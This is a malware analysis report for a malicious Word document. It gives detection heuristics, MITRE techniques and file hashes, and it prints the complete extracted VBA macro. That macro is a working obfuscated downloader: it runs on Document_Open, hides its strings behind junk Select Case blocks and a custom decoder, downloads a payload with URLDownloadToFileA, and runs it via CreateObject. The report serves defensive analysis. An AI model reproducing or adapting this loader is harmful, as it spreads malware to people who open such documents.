Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 930d25c13f9876d8…

MALICIOUS

Office (OLE)

170.0 KB Created: 2019-01-21 19:25:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 7eb654563bb0884fab51a092170c4418 SHA-1: 1b8d2422ddfde4ff7110528b78a0851f75dbd1df SHA-256: 930d25c13f9876d8dc2e6c19f17dbcca8571da9479a05ac631c855952f3e846b
358 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains a VBA macro with a Document_Open auto-execution routine. This macro utilizes the URLDownloadToFileA API, indicating an intent to download and execute a second-stage payload from a remote source. The presence of obfuscated code and the use of CreateObject further suggest malicious activity.

Heuristics 10

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Attribute VB_Customizable = True
Private Declare PtrSafe Function URLDownloadToFileA Lib "URLMON" (ByVal BBeeSTqvZt4Ti6St2 As Long, ByVal cjta0 As String, ByVal G4yK6lV2qBRx As String, ByVal XefOrirtIJuwmv2Z As Long, ByVal CTB9ON As Long) As LongPtr
Sub Document_Open()
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Else
Set dvEG3ai5bDWrQ7WCAR7 = CreateObject(Left(rgmOmv1K(eZycqKEzo("W`j@[Sj9oQcI1cYrX7xXidvp@p6S\yt;b^q.ibpTS[_Fgh1v}[eRLMml1L<llkk}7Gi4K436EH0"), eZycqKEzo("vZ}gfF?7}x4o9OlBw=miG-mpmyNp-|HdaiNh<9XjbVu(STdfUxlNB{ZfD8>TOF`.G7TZahKxi*\")), 13))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Else
Set dvEG3ai5bDWrQ7WCAR7 = CreateObject(Left(rgmOmv1K(eZycqKEzo("W`j@[Sj9oQcI1cYrX7xXidvp@p6S\yt;b^q.ibpTS[_Fgh1v}[eRLMml1L<llkk}7Gi4K436EH0"), eZycqKEzo("vZ}gfF?7}x4o9OlBw=miG-mpmyNp-|HdaiNh<9XjbVu(STdfUxlNB{ZfD8>TOF`.G7TZahKxi*\")), 13))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Declare PtrSafe Function URLDownloadToFileA Lib "URLMON" (ByVal BBeeSTqvZt4Ti6St2 As Long, ByVal cjta0 As String, ByVal G4yK6lV2qBRx As String, ByVal XefOrirtIJuwmv2Z As Long, ByVal CTB9ON As Long) As LongPtr
Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Select Case 14365
Case (717 + 7332 + (-4426 - (-4382) + 6360)): avgvVtcK = Environ(Right(uJ2tKEzdF(eZycqKEzo("XINx5J|@|xlfm^;gr\bWldYO<qf7+J0}5Ty8N]:EbTYl^5ol[3uMOc-3@8?is4c[edTrg9lJV6nEk*Q0"), eZycqKEzo("j[AeAmo,gvg|Cm?YS}1lXuimjU*SoaSpZ;@E]lGJR|ZP~PR|y0R{cg8O-PeLFLIw)I<f.0LP,P=EoN@8")), 11)) + Gn8rY("\LCtxnmpP<ziB8,viwPimq:h7xW>;48)-k*.hP<.eKs<+x|*)jexeC;")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12182 bytes
SHA-256: a5ec2cd94c61146f8d64c318d2389cb3f45bf362edb3ae267446a960c95274f7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare PtrSafe Function URLDownloadToFileA Lib "URLMON" (ByVal BBeeSTqvZt4Ti6St2 As Long, ByVal cjta0 As String, ByVal G4yK6lV2qBRx As String, ByVal XefOrirtIJuwmv2Z As Long, ByVal CTB9ON As Long) As LongPtr
Sub Document_Open()

Select Case -15169
Case (-3851 + -1711 + (-3676 - (-1483) + -7414)): Hz9nTLRgw

Case (7677 + (-6235) - (1072 + 7997) + (-1756)):   MsgBox "GA4M"
End Select


End Sub
Sub Hz9nTLRgw()

Select Case 12068
Case (7723 + 8514 + (-8585 - (-5689) + -1273)): Dim XgcdgG1EI3L

Case (-9040 + (4124) - (4167 + 9142) + (9039)):   MsgBox "Bnw8qXP"
End Select



Select Case 995
Case (2700 + 6118 + (314 - (-206) + -8343)): Dim tM8sUdVPF As Long

Case (5928 + (594) - (-9544 + -5350) + (-8393)):   MsgBox "BioYf"
End Select



Select Case -3697
Case (-3236 + (2023) - (4121 + -2819) + (-523)):   MsgBox "hNbl"
Case (3347 + -7832 + (1097 - (5250) + 4941)): Dim Z7CFwE

End Select



Select Case 5858
Case (6940 + (-2070) - (6857 + -4514) + (3716)):   MsgBox "ocIlE"
Case (1220 + 3121 + (6931 - (805) + -4609)): Dim avgvVtcK

End Select



Select Case -16606
Case (-6971 + 2614 + (-7278 - (-4526) + -9497)): Dim dvEG3ai5bDWrQ7WCAR7

Case (-4074 + (5462) - (3435 + -4063) + (-5904)):   MsgBox "pdpdcJr"
End Select



Select Case 14365
Case (717 + 7332 + (-4426 - (-4382) + 6360)): avgvVtcK = Environ(Right(uJ2tKEzdF(eZycqKEzo("XINx5J|@|xlfm^;gr\bWldYO<qf7+J0}5Ty8N]:EbTYl^5ol[3uMOc-3@8?is4c[edTrg9lJV6nEk*Q0"), eZycqKEzo("j[AeAmo,gvg|Cm?YS}1lXuimjU*SoaSpZ;@E]lGJR|ZP~PR|y0R{cg8O-PeLFLIw)I<f.0LP,P=EoN@8")), 11)) + Gn8rY("\LCtxnmpP<ziB8,viwPimq:h7xW>;48)-k*.hP<.eKs<+x|*)jexeC;")

Case (-4582 + (-4691) - (-4389 + -8466) + (-3331)):   MsgBox "yPaE04"
End Select



Select Case 8983
Case (-4980 + -3224 + (4824 - (-4706) + 7657)): tM8sUdVPF = 12

Case (-6504 + (-5132) - (-8704 + -9251) + (-4683)):   MsgBox "drmC"
End Select



Select Case -490
Case (-3761 + -1327 + (-5414 - (-2558) + 7454)): XgcdgG1EI3L = Gn8rY("h{QRLtknZVt^~I>pU7CRskXpV:pK3K/s_3y/+tIPaf:H(d\QRzw;t6.o?8B8ntB:Hcz(BWoE.W4nb`Rhs]xWBtmBtBr.uB{u=-4ccEz,htb)UfiwobVoxF?ZnJMOFs`~IY.LwA-cdFB?oysnfm[h.\/JpJ}s_FHgp]gXot]m*EsYQDj/fP*YeTJ\-mVX}`pFrzo.[Jy-eVYO{xlRa4epP51")

Case (-3004 + (-3640) - (-9943 + 5193) + (-9685)):   MsgBox "KlEOXN"
End Select


Select Case tM8sUdVPF
Case 1 To 9: MsgBox Right(AMr5Fn0w49M(eZycqKEzo("V{JAxeT2BwUodnEdj^\HMtms<NsF5>kSHUNdTd?TVKW<ae6kwBG/~9WwvgDqEO0G)iZ,D]5=+L3d[sK3pLAy;1Jy90muX5sG4]FkG,c~LDD>yGw;^L2uGke:d[-2]zm0OTJu>3)TuOP^"), eZycqKEzo("hc`/wes~n6 FZ(jnU.h2ury?/mSh|zb;RV-e2xPjr5lNf clF\i>z>;s0c}n U(5{b7I3yeb3cItPh+Mw1<]he_)M-e[boWnRirW SfV11jTZk aS,Xa1{4Unwo1rd.=6S Z0GS9X[Ow")), 29)
Case 10 To 19: Z7CFwE = URLDownloadToFileA(0, XgcdgG1EI3L, avgvVtcK, 0, 0)
Case 20 To 29: MsgBox Right(WD6uAr7X0Qn(eZycqKEzo("p@4uhs9xb[V`p.4Y|t{_GVB_a1_~P>GW*VaD4.;.d,3?{l.JC}q5T9<S6*VdP4g|>P{l?@bb^86gJ(NYX](0pW\~X3d~`T2Tl</UhSpULe1|2> s}ANn:4Z5u.^^6"), eZycqKEzo("mye04b6p>Be@4SNrVbbX Q*P`itp{]se2xq -F,5b\x[mehH=?teo}gwRqvVeQ)b+e6|@0nhQN, vL<x2/Ep]0/to0 k8z-ar<3rn:JH+db)~_ _R,?2y9H@9Z,_5")), 31)
Case Else: MsgBox Right(G92ATdpAQ(eZycqKEzo("W)AO[l9Z>|l*;=SUF[qTH,8=.iE9|[ZoX6Z0oaQmN\|qw3ykq0ai)\LK<XxFSGr<J2nYnnODrk`RKc5GfhOvHRixY@4E5DDM[WG?c_o;{OM/~+15*[/P(9c-ns=cln`W\MW@z,`J=R;kwSS([TP8x`hPs;feER?4 P>OFnsZ]0u:lcQm+Emb"), eZycqKEzo("bmoZSe80\crC*Cl Dt0licv8}s+tww twHblSN]3e-XxUsvkzHs`j*p >pjEtdum3h5n^xawb]?nfy7t L8fk1{Ytv {oE?oq.`,r4+|] _R}>gx~]<r5b`eeZ4K.a1~I2t(v7DePF.pr)Y3c |Y<yt:Oq{h{`i@a6_ddnaZy5 `q\h2B`mY9wk;[")), 44)
End Select
If 0 Then
MsgBox (Left(nqmLnxf9wu(eZycqKEzo("RW|h)ewQs`t4L6Gu5v6praH6Mn^|*2 {S^Yta@+7oL5g9 ubl8tfA(;hc=[KeQ{wV ]l{Ymy],KaqA}siI}y~n6|y} [|fEp|nNeow;/eiHSX_n95>@t^HFLWB3qd9C\<S"), eZycqKEzo("B*xz_4.^\376ES^j:@St4LBl)yfaG:J^A+pg{iJBD}ZcNGXxYZhX31@Gsf:*8^|?)wn;lHMXg)kDZj6KFz9`^r[,DS4g:PZZW/Fvl/):~ERISi8mCuojvl~lM{dEbg.ZMY")), 24))
Else
Set dvEG3ai5bDWrQ7WCAR7 = CreateObject(Left(rgmOmv1K(eZycqKEzo("W`j@[Sj9oQcI1cYrX7xXidvp@p6S\yt;b^q.ibpTS[_Fgh1v}[eRLMml1L<llkk}7Gi4K436EH0"), eZycqKEzo("vZ}gfF?7}x4o9OlBw=miG-mpmyNp-|HdaiNh<9XjbVu(STdfUxlNB{ZfD8>TOF`.G7TZahKxi*\")), 13))

Select Case 11225
Case (2601 + 5099 + (-2305 - (-4376) + 1454)): dvEG3ai5bDWrQ7WCAR7.Run avgvVtcK

Case (1842 + (3059) - (3836 + -9294) + (-5677)):   MsgBox "AdDYKfy"
End Select


End If
End Sub




Function Gn8rY(AEBZNFYsBXgMa As String) As String

Select Case 1458
Case (-3281 + (9630) - (-5020 + -6271) + (6729)):   MsgBox "pdjr0"
Case (-2709 + 7258 + (-7306 - (4443) + 8658)):
Select Case 3792
Case (-7611 + 9715 + (9159 - (4963) + -2508)):      Dim RQJnyi7eLOSV(1055) As Byte

Case (2092 + (-5605) - (2986 + -8941) + (-4410)):   MsgBox "GrJzK"
End Select


End Select



Select Case 271
Case (-7922 + -2138 + (8285 - (4784) + 6830)):
Select Case -9311
Case (9652 + (7036) - (-2876 + -7762) + (2150)):   MsgBox "mqcb"
Case (-1891 + 5863 + (-5083 - (4323) + -3877)):      Dim X0ZAy2zO6ejhO() As Byte

End Select


Case (1526 + (3605) - (6748 + -7326) + (747)):   MsgBox "jNTmRZP"
End Select



Select Case 1948
Case (-6555 + 218 + (-93 - (-9343) + -965)):
Select Case -6389
Case (-1611 + -8182 + (5127 - (-6210) + -7933)):      Dim oAiKSVq

Case (-885 + (365) - (-5400 + 3216) + (5489)):   MsgBox "rGxkZcO"
End Select


Case (8903 + (1823) - (-3137 + -669) + (7105)):   MsgBox "N8HAd7"
End Select



Select Case 12943
Case (-6750 + -1743 + (8480 - (-7193) + 5763)):
Select Case 11073
Case (5954 + (-7264) - (-7321 + 2035) + (2726)):   MsgBox "ZRnRfwB"
Case (6883 + 4373 + (4296 - (-3881) + -8360)):      Dim CcRILS4jDl0J

End Select


Case (-6347 + (-4055) - (1770 + -2088) + (-3237)):   MsgBox "sh31G"
End Select



Select Case -16062
Case (8826 + (9380) - (-7039 + -32) + (-7804)):   MsgBox "GkOiYjM"
Case (-5377 + 1136 + (-3018 - (225) + -8578)):
Select Case -7625
Case (1264 + (1699) - (8832 + -699) + (-7655)):   MsgBox "OM2PO0"
Case (-7846 + -7618 + (7730 - (7633) + 7742)):      X0ZAy2zO6ejhO = StrConv(AEBZNFYsBXgMa, vbFromUnicode)

End Select


End Select


    For CcRILS4jDl0J = 0 To UBound(X0ZAy2zO6ejhO) - 1
        If (CcRILS4jDl0J Mod 5 = 0) Then

Select Case -1828
Case (2404 + -9317 + (2842 - (-4563) + -2320)):
Select Case 26998
Case (7890 + 7845 + (-7730 - (-9821) + 9172)):              RQJnyi7eLOSV(oAiKSVq) = X0ZAy2zO6ejhO(CcRILS4jDl0J)

Case (-8945 + (9386) - (7078 + 7637) + (-742)):   MsgBox "K2Qa"
End Select


Case (-3435 + (-6037) - (-1114 + -8876) + (2141)):   MsgBox "SlnX6"
End Select



Select Case 17288
Case (-5578 + (-1125) - (5519 + 2837) + (3568)):   MsgBox "vzch8"
Case (8121 + 4382 + (6446 - (-7482) + -9143)):
Select Case -9126
Case (9248 + (6629) - (-6967 + 4419) + (-7194)):   MsgBox "OCGjA"
Case (-9648 + 1350 + (-805 - (38) + 15)):              oAiKSVq = oAiKSVq + 1

End Select


End Select


        End If
    Next CcRILS4jDl0J

Select Case 11941
Case (-6543 + (-9582) - (-3737 + 2535) + (7703)):   MsgBox "o2L1j"
Case (-3140 + -1328 + (9761 - (2536) + 9184)):      Gn8rY = Left(StrConv(RQJnyi7eLOSV, vbUnicode), oAiKSVq)

End Select


End Function

Function NwwNNNU7Q9K(TqLOYVyyPFTex7 As String, Gz3ISDYrQ As String)

Select Case -9760
Case (2817 + -121 + (-9946 - (4686) + 2176)): NwwNNNU7Q9K = TqLOYVyyPFTex7 + Gz3ISDYrQ

Case (-3562 + (-2018) - (1807 + 7322) + (2599)):   MsgBox "yAb3zd"
End Select


End Function
Function uJ2tKEzdF(aCFl64vU As String, BDAQ322ov6iHRZ8GhIH As String)

Select Case -9264
Case (-3525 + -1684 + (-2643 - (1112) + -300)): uJ2tKEzdF = aCFl64vU + BDAQ322ov6iHRZ8GhIH

Case (8935 + (926) - (6028 + 6254) + (-1679)):   MsgBox "zbKKI"
End Select


End Function
Function AMr5Fn0w49M(GIUxLvm As String, e8PjS88p5YzGPOc As String)

Select Case -12374
Case (-9578 + (-9310) - (-2045 + 5213) + (-3414)):   MsgBox "D1pNA"
Case (-6102 + 31 + (2273 - (9245) + 669)): AMr5Fn0w49M = GIUxLvm + e8PjS88p5YzGPOc

End Select


End Function
Function WD6uAr7X0Qn(hu9c6UOldLhtjD58 As String, JAmhzpIR As String)

Select Case 15661
Case (942 + (-873) - (8656 + 5921) + (8116)):   MsgBox "Vt1N"
Case (4171 + 8702 + (3112 - (-6559) + -6883)): WD6uAr7X0Qn = hu9c6UOldLhtjD58 + JAmhzpIR

End Select


End Function
Function G92ATdpAQ(A9I1jsfjF As String, m9c9jd67QE6 As String)

Select Case 4846
Case (2729 + 7484 + (-1727 - (1181) + -2459)): G92ATdpAQ = A9I1jsfjF + m9c9jd67QE6

Case (3574 + (5804) - (-2106 + -3333) + (-6842)):   MsgBox "c4kfOV"
End Select


End Function
Function nqmLnxf9wu(Sr16Ep2i5qBoJFTcbp As String, zxeM5g12 As String)

Select Case 23879
Case (4208 + 5930 + (8018 - (-2154) + 3569)): nqmLnxf9wu = Sr16Ep2i5qBoJFTcbp + zxeM5g12

Case (-7479 + (-9219) - (9087 + -6853) + (-9411)):   MsgBox "ztrJ5P"
End Select


End Function
Function rgmOmv1K(thrCBI As String, QzdepgXLvxopUAT As String)

Select Case -17344
Case (8365 + (808) - (-3555 + -9716) + (-1370)):   MsgBox "NB7VYn6"
Case (-4670 + 2091 + (-4690 - (9883) + -192)): rgmOmv1K = thrCBI + QzdepgXLvxopUAT

End Select


End Function
Function eZycqKEzo(AEBZNFYsBXgMa As String) As String

Select Case 1458
Case (-3281 + (9630) - (-5020 + -6271) + (6729)):   MsgBox "pdjr0"
Case (-2709 + 7258 + (-7306 - (4443) + 8658)):
Select Case 3792
Case (-7611 + 9715 + (9159 - (4963) + -2508)):      Dim RQJnyi7eLOSV(1055) As Byte

Case (2092 + (-5605) - (2986 + -8941) + (-4410)):   MsgBox "GrJzK"
End Select


End Select



Select Case 271
Case (-7922 + -2138 + (8285 - (4784) + 6830)):
Select Case -9311
Case (9652 + (7036) - (-2876 + -7762) + (2150)):   MsgBox "mqcb"
Case (-1891 + 5863 + (-5083 - (4323) + -3877)):      Dim X0ZAy2zO6ejhO() As Byte

End Select


Case (1526 + (3605) - (6748 + -7326) + (747)):   MsgBox "jNTmRZP"
End Select



Select Case 1948
Case (-6555 + 218 + (-93 - (-9343) + -965)):
Select Case -6389
Case (-1611 + -8182 + (5127 - (-6210) + -7933)):      Dim oAiKSVq

Case (-885 + (365) - (-5400 + 3216) + (5489)):   MsgBox "rGxkZcO"
End Select


Case (8903 + (1823) - (-3137 + -669) + (7105)):   MsgBox "N8HAd7"
End Select



Select Case 12943
Case (-6750 + -1743 + (8480 - (-7193) + 5763)):
Select Case 11073
Case (5954 + (-7264) - (-7321 + 2035) + (2726)):   MsgBox "ZRnRfwB"
Case (6883 + 4373 + (4296 - (-3881) + -8360)):      Dim CcRILS4jDl0J

End Select


Case (-6347 + (-4055) - (1770 + -2088) + (-3237)):   MsgBox "sh31G"
End Select



Select Case -16062
Case (8826 + (9380) - (-7039 + -32) + (-7804)):   MsgBox "GkOiYjM"
Case (-5377 + 1136 + (-3018 - (225) + -8578)):
Select Case -7625
Case (1264 + (1699) - (8832 + -699) + (-7655)):   MsgBox "OM2PO0"
Case (-7846 + -7618 + (7730 - (7633) + 7742)):      X0ZAy2zO6ejhO = StrConv(AEBZNFYsBXgMa, vbFromUnicode)

End Select


End Select


    For CcRILS4jDl0J = 0 To UBound(X0ZAy2zO6ejhO) - 1
        If (CcRILS4jDl0J Mod 5 = 0) Then

Select Case -1828
Case (2404 + -9317 + (2842 - (-4563) + -2320)):
Select Case 26998
Case (7890 + 7845 + (-7730 - (-9821) + 9172)):              RQJnyi7eLOSV(oAiKSVq) = X0ZAy2zO6ejhO(CcRILS4jDl0J)

Case (-8945 + (9386) - (7078 + 7637) + (-742)):   MsgBox "K2Qa"
End Select


Case (-3435 + (-6037) - (-1114 + -8876) + (2141)):   MsgBox "SlnX6"
End Select



Select Case 17288
Case (-5578 + (-1125) - (5519 + 2837) + (3568)):   MsgBox "vzch8"
Case (8121 + 4382 + (6446 - (-7482) + -9143)):
Select Case -9126
Case (9248 + (6629) - (-6967 + 4419) + (-7194)):   MsgBox "OCGjA"
Case (-9648 + 1350 + (-805 - (38) + 15)):              oAiKSVq = oAiKSVq + 1

End Select


End Select


        End If
    Next CcRILS4jDl0J

Select Case -1218
Case (-9060 + 5958 + (902 - (5599) + 6581)):      eZycqKEzo = Left(StrConv(RQJnyi7eLOSV, vbUnicode), oAiKSVq)

Case (-6621 + (-7019) - (-8672 + 8343) + (-9444)):   MsgBox "nbQg"
End Select


End Function

Open this report in the interactive analyzer, or submit your own file for analysis.